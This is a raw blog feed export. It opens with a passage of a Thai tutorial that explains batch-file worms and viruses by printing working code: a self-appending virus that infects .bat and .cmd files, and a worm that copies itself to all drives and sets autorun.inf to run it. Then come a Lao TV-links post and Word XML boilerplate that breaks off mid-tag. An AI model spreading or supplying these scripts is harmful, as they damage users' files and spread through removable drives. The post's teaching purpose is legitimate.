วิชาชีพบางวิชาชีพนั้น...ก็ต้องศึกษาทั้งที่ไปที่มาของการแก้ปัญหาทั้งสิ้น หากจะเป็นวิสัญญีแพทย์ชั้นหนึ่ง...ไม่จำเป็นต้องลงมือฆ่าคน...แต่ต้องเรียน รู้จากคนที่โดนฆ่าหรือตายไปแล้ว...เพื่อเข้าใจหลักการตายและหลักการรักษาและ ป้องกันอย่างดี เช่นกันครับ...หนอนคอมพิวเตอร์ที่ได้ยกตัวอย่างไปนั้น...ขอให้นึกซะ ว่า...เป็นครูใหญ่ของพวกคุณแล้วกัน&lt;br /&gt;อาวุธอันร้ายกาจไม่ใช่หนอน...แต่เป็นไวรัส!&lt;br /&gt;เอา ล่ะ...คุณหลายคนอาจจะอ่านเนื้อหาตอนต้นซึ่งเป็นนิยามต่างๆ ทางคอมพิวเตอร์กันบ้างแล้ว...แต่ตอนนี้มาทำการแยกแยะกันด้วยรูปแบบของคำสั่ง ว่า..."อะไรกันคือหนอนคอมพิวเตอร์ และอะไรคือไวรัสคอมพิวเตอร์" เริ่มเลย...&lt;br /&gt;%virus%@echo off&amp;cd\&amp;for /r %%f in (*.bat *.cmd) do ((findstr "virus" "%%f"&gt;nul)&amp;(if errorlevel 1 (echo.&gt;&gt;"%%f"&amp;findstr "virus" "%0"&gt;&gt;"%%f" ))) ตัวอย่างด้านบนนี้ แหละ...คือคำสั่งอันร้ายกาจ หรือเรียกมันว่า "ไวรัสคอมพิวเตอร์" เพียงบรรทัดเดียวมันสามารถทำให้คุณทึ่งกับการทำงานของมัน เพราะอะไร...ทำให้มันมีอะไรที่พิเศษกว่าหนอนคอมพิวเตอร์คือ&lt;br /&gt;1. มันสามารถแทรกคำสั่งไวรัสคอมพิวเตอร์ไปยังหนอนคอมพิวเตอร์ได้เสียด้วย (โอ้...เป็นปาราสิตที่อาศัยหนอนคอมพิวเตอร์เป็นพาหะนำโรคได้ด้วย)&lt;br /&gt;2. มัน สามารถติดเชื้อแฟ้มคำสั่งที่ไม่ใช้หนอนคอมพิวเตอร์ได้ด้วยตัวของมัน เอง...ไม่พึ่งพาใคร...ส่งผลให้แฟ้มที่ติดไวรัสเป็นพาหะนำโรคอีกต่อหนึ่งและ ยังไม่สามารถกำจัดมันได้โดยง่าย...เพราะมันเป็นส่วนหนึ่งในคำสั่งเหล่านั้น&lt;br /&gt;3. ไวรัสคอมพิวเตอร์ต้องใช้ทักษะทางคอมพิวเตอร์ที่สูงกว่าหนอนคอมพิวเตอร์ในด้านโครงสร้าง เพราะ "มัน คือชุดคำสั่งที่สามารถจำลองชุดคำสั่งไวรัสไปยังเป้าหมายได้โดยไม่ส่งผลกระทบ ต่อเป้าหมายเพื่อฝั่งชุดคำสั่งนั้นและรอการแพร่เชื้อชุดคำสั่งนั้นต่อไป"&lt;br /&gt;อธิบายกันให้กระจ่างอีกที...?&lt;br /&gt;สมมุต ว่าเครื่องของคุณติดหนอนคอมพิวเตอร์ คือ 666.bat ในทุกๆ ไดร์ฟ แต่ถ้าเกิดมีไวรัสคอมพิวเตอร์ต่อไปนี้ติดเชื้อในเครื่องของคุณด้วยมันจะส่งผลให้แฟ้มคำสั่งของหนอนคอมพิวเตอร์ (666.bat) มีขนาดโตขึ้นตามขนาดของไวรัส เช่น&lt;br /&gt;@echo off&lt;br /&gt;if not "%1"=="" goto Interface&lt;br /&gt;for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do call %0 %%d&lt;br /&gt;Start .&lt;br /&gt;goto endbat&lt;br /&gt;:Interface&lt;br /&gt;type 666.bat &gt;%1:\666.bat&lt;br /&gt;attrib +s +h +r %1:\666.bat &gt; nul&lt;br /&gt;attrib -r -h -s %1:\autorun.inf&gt;nul&lt;br /&gt;echo [autorun] &gt; %1:\autorun.inf&lt;br /&gt;echo shellexecute=666.bat &gt;&gt;%1:\autorun.inf&lt;br /&gt;attrib +s +h +r %1:\autorun.inf &gt; nul&lt;br /&gt;:endbat&lt;br /&gt;%virus%@echo off&amp;cd\&amp;for /r %%f in (*.bat *.cmd) do ((findstr "virus" "%%f"&gt;nul)&amp;(if errorlevel 1 (echo.&gt;&gt;"%%f"&amp;findstr "virus" "%0"&gt;&gt;"%%f"))) ตัวหนังสือเข้ม คือคำสั่งไวรัสที่เพิ่มเข้ามาต่อท้ายคำสั่งของหนอนคอมพิวเตอร์ โดยที่ไวรัสในตัวอย่างนี้ทำงานแบบฉลาดพอที่จะรู้ว่า แฟ้มแบทช์ไฟล์ใด ที่ติดไวรัสแล้ว...หรือแฟ้มแบทช์ไฟล์ใดยังไม่มีการติดไวรัส เมื่อแฟ้มดังกล่าวติดไวรัสแล้ว...จะส่งผลให้...หนอนคอมพิวเตอร์ตัวนี้ไม่ว่า จะติดเชื้อในเครื่องคอมพิวเตอร์เครื่องใดๆ ก็ตามมันจะนำเชื้อไวรัสที่มันติดเชื้ออยู่ไปกับมันด้วย...ส่งผลให้ไวรัส คอมพิวเตอร์สามารถระบาดในทุกๆ เครื่อง...และทุกๆ แฟ้มที่เป็น แบทช์ไฟล์ในเครื่องของคุณ&lt;br /&gt;&lt;br /&gt;(ไวรัสนี้ไม่สามารถทำงานใน DOS Mode รุ่นเก่าๆ อย่าง Windows Me ได้) ตัวอย่างนี้ก็มีข้อบกพร่อง อยู่ตรงที่ มันไม่สามารถทำงานใน DOS ระดับพื้นฐานได้ ถ้าหากว่ามันติดเชื้อในแฟ้ม AUTOEXEC.BAT ก็ไม่สามารถทำงานได้ เพราะ AUTOEXEC.BAT นั้นทำงานใน DOS Mode ขั้นพื้นฐานคำสั่งบางคำสั่งของมันไม่สามารถให้บริการบนโหมดนี้&lt;br /&gt;&lt;br /&gt;มาแยกชิ้นส่วนของไวรัสเพื่อทำการศึกษากัน...&lt;br /&gt;1. คำสั่ง cd\ (ออกไปยัง Root Directory) คำสั่งนี้เป็นคำสั่งพื้นฐานของดอสอยู่แล้วคงไม่ต้องอธิบายอะไรมาก ถ้าคุณใช้คำสั่ง CD WINDOWS หรือ CD "PROGRAM FILES" เพื่อเข้าไปยัง โฟลเดอร์ต่างๆ จนคุ้นเคย แต่บนวินโดวส์เอ็กซ์พี คำสั่ง CD W* ก็มีค่าเท่ากับ CD WINDOWS เหมือนกัน (เพียงแต่รูปแบบสั้นกว่า ด้วย White Card) และถอยขึ้นมายังรูทไดเร็คทอรี่ 1 ลำดับ ด้วยการ CD.. ซึ่งดูรูปแบบคำสั่งเพิ่มเติมด้วยคำสั่ง CD /?&lt;br /&gt;2. คำสั่ง for /r %%ตัวแปร in (รายการ) do ทำคำสั่ง (สำหรับค้นหาแฟ้มในรายการเพื่อทำคำสั่ง) คำสั่งนี้ใช้งานบนวินโดวส์เอ็กซ์พีขึ้นไป โดยจะแตกต่างจากคำสั่ง FOR แบบธรรมดา ตรงที่มันมีเงื่อนไข /R ซึ่ง เป็นเงื่อนไขที่บ่งบอกให้ตัวแปรที่กำหนดเก็บรายชื่อแฟ้มภายในซับโฟลเดอร์ที่ ทำงานลงไปทุกตัว จึงทำให้การเขียนไวรัสเป็นไปโดยง่ายเพราะ แค่คำสั่งเดียวก็ลิสต์รายชื่อแฟ้มออกมาดีกว่าคำสั่ง DIR เสียอีก เช่น&lt;br /&gt;@for /r %%f in (*.*) do echo %%f&lt;br /&gt;:: แสดงรายชื่อทุกแฟ้มจากโฟลเดอร์ที่ทำงานลงไปยังซับโฟลเดอร์ทั้งหมด&lt;br /&gt;3. คำสั่ง findstr "ข้อความ" แฟ้มข้อมูล (ค้นหาข้อความในแฟ้มข้อมูลที่กำหนด) คำสั่งนี้ใช้งานบนวินโดวส์เอ็กซ์พีขึ้นไปเช่นกัน แต่เดิม คำสั่ง FIND.EXE จะทำหน้าที่นี้อยู่ แต่ในวินโดวส์เอ็กซ์พีได้บรรจุคำสั่งนี้เป็นคำสั่งภายในแล้ว แต่รูปแบบการทำงานจะคล้ายคำสั่ง FIND.EXE ตัวเดิม ซึ่งแต่เดิมคำสั่ง FIND.EXE นั้นในภาษาแอสเซมบลีตอนท้ายคำสั่ง จะมีการเรียกใช้ฟังก์ชั่น&lt;br /&gt;MOV AH,4CH ; เรียกฟักช์ชั่นคืนผลลัพธ์ไปยังดอสและจบการทำงาน&lt;br /&gt;INT 21H ; อินเตอร์รัพต์ของดอสโปรเซส&lt;br /&gt;คำสั่งนี้มีผลทำต่อการคำนวนของแบทซ์ไฟล์คือ IF ERRORLEVEL ค่าของ "AL" ในโปรแกรมที่จบการทำงาน&lt;br /&gt;จะถูกส่งผ่านมาให้คำนวนต่อไป...ซึ่งทุกๆ คำสั่งของดอสนั้นมีทั้งสิ้น...เพียงแต่ไม่มีเอกสารเผยแพร่ออกมาให้เห็นกันเพราะบาง ERROR นั้น ถูกเก็บเป็นความลับของระบบปฏิบัติการ แต่นักเขียนโปรแกรมบางคน ก็ใช่รูปแบบการตัดสิ้นใจแบบง่าย เพื่อดูคำสั่งผิดพลาดนั้นได้ด้วยการไล่ดูทุกๆ ค่า หรือ แค่ดูว่า IF ERRORLEVEL 1 นั้นคือมีข้อผิดพลาดเกิดขึ้นแต่ไม่สนใจว่าผิดพลาดอะไร...&lt;br /&gt;4. คำสั่ง if errorlevel หมาย เลข ทำคำสั่ง (ถ้ามีข้อผิดพลาดในหมายเลขทำตามคำสั่งนั้น) คำสั่งนี้เป็นคำสั่งที่ทำให้ไวรัสฉลาดขึ้นอย่างมากคือ..."ถ้าเกิดข้อผิดพลาด ใดๆ ในการค้นหาข้อความ (virus) ไม่พบ จะติดเชื้อแฟ้มนั้นทันที" ซึ่งเป็นการตัดสินใจที่ชาญฉลาด...เพราะจะทำให้ไวรัสไม่ถูกเขียนซ้ำไปซ้ำมาบน แฟ้มที่ติดเชื้อไวรัส ซึ่งผู้เขียน เอง ศึกษาคำสั่งนี้มานาน...และก็ใช่อย่างคล่องแคล้วในการเขียนโปรแกรมฆ่าไวรัส แต่สำหรับผู้อ่านที่เริ่มศึกษาคำสั่ง แบทช์ไฟล์ ต้องทบทวนคำสั่งนี้เพิ่มเติมใน IF /? ในดอส เพื่อดูรูปแบบของคำสั่งที่แน่นอนรวมทั้งคำสั่งการตัดสินใจในรูปแบบอื่นๆ เพื่อเสริมความเก่งกาจในประสบการณ์ด้านนี้ต่อไป&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-2678630474605067529?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/2678630474605067529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=2678630474605067529&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2678630474605067529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/2678630474605067529'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/04/dos-command.html' title='Dos command'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-1283854049037052501</id><published>2011-02-15T08:16:00.001-08:00</published><updated>2011-02-17T07:19:37.864-08:00</updated><title type='text'>Datpin TV online</title><content type='html'>&lt;div&gt;&lt;br /&gt;&lt;h2&gt;ເບິ່ງທີວີອອນໄລ&lt;/h2&gt;&lt;table border="1"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;&lt;br /&gt;&lt;a onclick="popup('playtv.php?channel=3','jsName','Popup','width=486,height=401,left=120,top=120')" href="http://www.siamza.com/tv/playtv.php?channel=3"&gt;ຊ່ອງ 3&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="130"&gt;&lt;a onclick="popup('http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=2','jsName','Popup','width=980,height=630,left=120,top=120')" href="http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=2"&gt;ຊ່ອງ 5&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td width="130"&gt;&lt;a onclick="popup('playtv.php?channel=7','jsName','Popup','width=486,height=401,left=120,top=120')" href="http://www.siamza.com/tv/testspeed.php?channel=7"&gt;ຊ່ອງ 7&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;tr&gt;&lt;br /&gt;&lt;td height="23"&gt;&lt;a onclick="popup('http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=4','jsName','Popup','width=980,height=630,left=120,top=120')" href="http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=4"&gt;ຊ່ອງ 9&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a href="http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=5" target="_blank"&gt;ຊ່ອງ NBT&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a onclick="popup('http://www.astv-tv.com/new1_broadcast.html','jsName','Popup','width=460,height=460,left=120,top=120')" href="http://www.astv-tv.com/new1_broadcast.html"&gt;ຊ່ອງ ASTV&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/tr&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;&lt;a onclick="popup('http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=15','jsName','Popup','width=980,height=630,left=120,top=120')" href="http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=15"&gt;True Music&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a onclick="popup('http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=14','jsName','Popup','width=980,height=630,left=120,top=120')" href="http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=14"&gt;T channel (ລູກທຸ່ງ) &lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a onclick="popup('playintertv.php?channel=weza&amp;amp;namechannel=WEZA','jsName','Popup','width=486,height=518,left=120,top=120')" href="http://www.siamza.com/tv/playintertv.php?channel=weza&amp;amp;namechannel=WEZA"&gt;WEZA (ຊ່ອງເພງ) &lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;&lt;a href="http://www.livetv.co.th/miti4.html"&gt;Miracle ມິຕິ4&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a onclick="popup('http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=21','jsName','Popup','width=980,height=630,left=120,top=120')" href="http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=21"&gt;TATV (ທ່ອງທ່ຽວ) &lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a onclick="popup('http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=12','jsName','Popup','width=980,height=630,left=120,top=120')" href="http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=12"&gt;MoneyChannel&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;&lt;a onclick="popup('http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=13','jsName','Popup','width=980,height=630,left=120,top=120')" href="http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=13"&gt;Nation Channel&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a onclick="popup('http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=7','jsName','Popup','width=980,height=630,left=120,top=120')" href="http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=7"&gt;ຊ່ອງ Thai PBS&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a onclick="popup('http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=18','jsName','Popup','width=980,height=630,left=120,top=120')" href="http://truemusic2.truelife.com/home/player/theme_tv/siamza/?guid=18"&gt;Gsquare (ເກມສ໌/ເທກ) &lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt;&lt;a href="http://www.livetv.co.th/thaichaiyo.html"&gt;ຊ່ອງ ໄທໄຊໂຍ (ລູກທຸ່ງ) &lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a href="http://www.livetv.co.th/pop.asp"&gt;ຊ່ອງ POP&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a href="http://www.livetv.co.th/earth.asp"&gt;ຊ່ອງ EARTH&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;tr&gt;&lt;br /&gt;&lt;td&gt; &lt;a href="http://www.livetv.co.th/clickasia.asp"&gt;ຊ່ອງ CLICK ASIA&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a href="http://www.livetv.co.th/fame.html"&gt;ຊ່ອງ ເຟມ (FAME)&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;td&gt;&lt;a href="http://www.livetv.co.th/2tango.asp"&gt;ຊ່ອງ ທູແທງໂກ້&lt;/a&gt;&lt;/td&gt;&lt;br /&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7705119745791690074-1283854049037052501?l=vongvilai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vongvilai.blogspot.com/feeds/1283854049037052501/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7705119745791690074&amp;postID=1283854049037052501&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/1283854049037052501'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7705119745791690074/posts/default/1283854049037052501'/><link rel='alternate' type='text/html' href='http://vongvilai.blogspot.com/2011/02/datpin-tv-online.html' title='Datpin TV online'/><author><name>MIMI inthasanh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7705119745791690074.post-8128810424291617076</id><published>2011-02-15T08:06:00.000-08:00</published><updated>2011-02-15T08:15:28.300-08:00</updated><title type='text'>Datpin Valantee checker</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;o:officedocumentsettings&gt;   &lt;o:allowpng/&gt;  &lt;/o:OfficeDocumentSettings&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-US&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;JA&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;TH&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:applybreakingrules/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:enableopentypekerning/&gt;    &lt;w:dontflipmirrorindents/&gt;    &lt;w:overridetablestylehps/&gt;    &lt;w:usefelayout/&gt;   &lt;/w:Compatibility&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="&amp;#45;-"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="0" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium 